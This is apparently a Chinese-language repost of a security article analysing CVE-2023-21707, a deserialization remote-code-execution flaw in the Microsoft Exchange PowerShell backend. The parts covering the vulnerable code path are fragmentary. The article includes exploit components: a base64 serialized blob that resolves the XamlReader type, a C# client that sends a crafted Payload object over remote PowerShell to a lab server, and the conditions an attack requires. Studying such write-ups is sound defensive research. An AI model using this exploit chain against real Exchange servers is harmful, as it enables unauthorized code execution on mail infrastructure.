//System.Management.Automation.InternalDeserializer.ReadOneObject()
internal object ReadOneObject(out string streamName)
{
//...
Type targetTypeForDeserialization = psobject.GetTargetTypeForDeserialization(this._typeTable); //[1]
if (null != targetTypeForDeserialization)
{
Exception ex = null;
try
{
object obj2 = LanguagePrimitives.ConvertTo(obj, targetTypeForDeserialization, true, CultureInfo.InvariantCulture, this._typeTable); //[2]
}
//...
}
-
使用 1 个参数调用构造函数 -
呼叫设置者 -
调用静态方法“ Parse(string) ” [方法3] -
调用自定义转换【方法4】 -
……
-
第一种用法是利用[方法4]来重建XamlReader类型。Microsoft.Exchange.Data.SerializationTypeConverter.ConvertFrom() -> DeserializeObject()为了实现这一点,采用了自定义转换方法,该方法使用BinaryFormatter白名单来反序列化数据。如果反序列化类型恰好是 a System.Type,则目标类型将是System.UnitySerializationHolder也在白名单上的类型。 -
第二次,该进程使用[方法3]发起对静态方法的调用XamlReader.Parse(string),随后触发远程代码执行(RCE)漏洞。值得注意的是,这XamlReader是从 获得的反序列化类型step 1。
public override object ConvertFrom(object sourceValue, Type destinationType, IFormatProvider formatProvider, bool ignoreCase)
{
return this.DeserializeObject(sourceValue, destinationType); //[3]
}
private object DeserializeObject(object sourceValue, Type destinationType)
{
if (!this.CanConvert(sourceValue, destinationType, out array, out text, out ex)) //[4]
{
throw ex;
}
//...
using (MemoryStream memoryStream = new MemoryStream(array))
{
AppDomain.CurrentDomain.AssemblyResolve += SerializationTypeConverter.AssemblyHandler;
try
{
int tickCount = Environment.TickCount;
obj = this.Deserialize(memoryStream); //[5]
//...
}
private bool CanConvert(object sourceValue, Type destinationType, out byte[] serializationData, out string stringValue, out Exception error)
{
PSObject psobject = sourceValue as PSObject;
//...
object value = psobject.Properties["SerializationData"].Value; //[6]
if (!(value is byte[]))
{
error = new NotSupportedException(DataStrings.ExceptionUnsupportedDataFormat(value));
return false;
}
//...
stringValue = psobject.ToString();
serializationData = value as byte[];
}
internal object Deserialize(MemoryStream stream)
{
bool strictModeStatus = Serialization.GetStrictModeStatus(DeserializeLocation.SerializationTypeConverter);
return ExchangeBinaryFormatterFactory.CreateBinaryFormatter(DeserializeLocation.SerializationTypeConverter, strictModeStatus, SerializationTypeConverter.allowedTypes, SerializationTypeConverter.allowedGenerics).Deserialize(stream); //[7]
}
<BA N="SerializationData">AAEAAAD/////AQAAAAAAAAAEAQAAAB9TeXN0ZW0uVW5pdHlTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAREYXRhCVVuaXR5VHlwZQxBc3NlbWJseU5hbWUBAAEIBgIAAAAgU3lzdGVtLldpbmRvd3MuTWFya3VwLlhhbWxSZWFkZXIEAAAABgMAAABYUHJlc2VudGF0aW9uRnJhbWV3b3JrLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQs=</BA>
GenericSidIdentity
ClientSecurityContextIdentity
System.Security.Principal.GenericIdentity
System.Security.Claims.ClaimsIdentity <---
-
源代码:https: //learn.microsoft.com/en-us/powershell/exchange/connect-to-exchange-servers-using-remote-powershell? view=exchange-ps
string userName = "john";
string password = "";
string uri = "http://exchange.lab.local/powershell";
PSCredential remoteCredential = new PSCredential(userName, ToSecureString(password));
WSManConnectionInfo wsmanConnectionInfo = new WSManConnectionInfo(uri, "http://schemas.microsoft.com/powershell/Microsoft.Exchange", credentials);
wsmanConnectionInfo.AuthenticationMechanism = this.authType;
wsmanConnectionInfo.MaximumConnectionRedirectionCount = 5;
wsmanConnectionInfo.SkipCACheck = true;
wsmanConnectionInfo.SkipCNCheck = true;
this.runspace = RunspaceFactory.CreateRunspace(wsmanConnectionInfo);
this.runspace.Open();
object payload = new Payload();
using (PowerShell powerShell = PowerShell.Create())
{
powerShell.Runspace = this.runspace;
powerShell.AddCommand("get-mailbox");
powerShell.AddArgument(payload);
powerShell.Invoke();
}
using System;
public class Payload: Exception
{
private byte[] _serializationData;
public byte[] SerializationData
{
get => _serializationData;
set => _serializationData = value;
}
public Payload(byte[] serializationData)
{
SerializationData = serializationData;
}
}
-
攻击者的计算机应该能够访问目标 Exchange 服务器的端口 80。 -
PowerShell 入口点的身份验证方法必须是 Kerberos(而不是 NTLM),需要在运行漏洞利用时访问域控制器的端口 88。
参考
-
https://www.zerodayinitiative.com/blog/2022/11/14/control-your-types-or-get-pwned-remote-code-execution-in-exchange-powershell-backend
-
https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf
-
https://learn.microsoft.com/en-us/powershell/exchange/connect-to-exchange-servers-using-remote-powershell?view=exchange-ps
-
https://www.zerodayinitiative.com/blog/2022/11/14/control-your-types-or-get-pwned-remote-code-execution-in-exchange-powershell-backend
-
https://littlepwner.github.io/posts/cve-2023-32031-ms-exchange-powershell-backend-rce/
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里
原文始发于微信公众号(Ots安全):Microsoft Exchange Powershell 远程反序列化导致 RCE (CVE-2023-21707)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论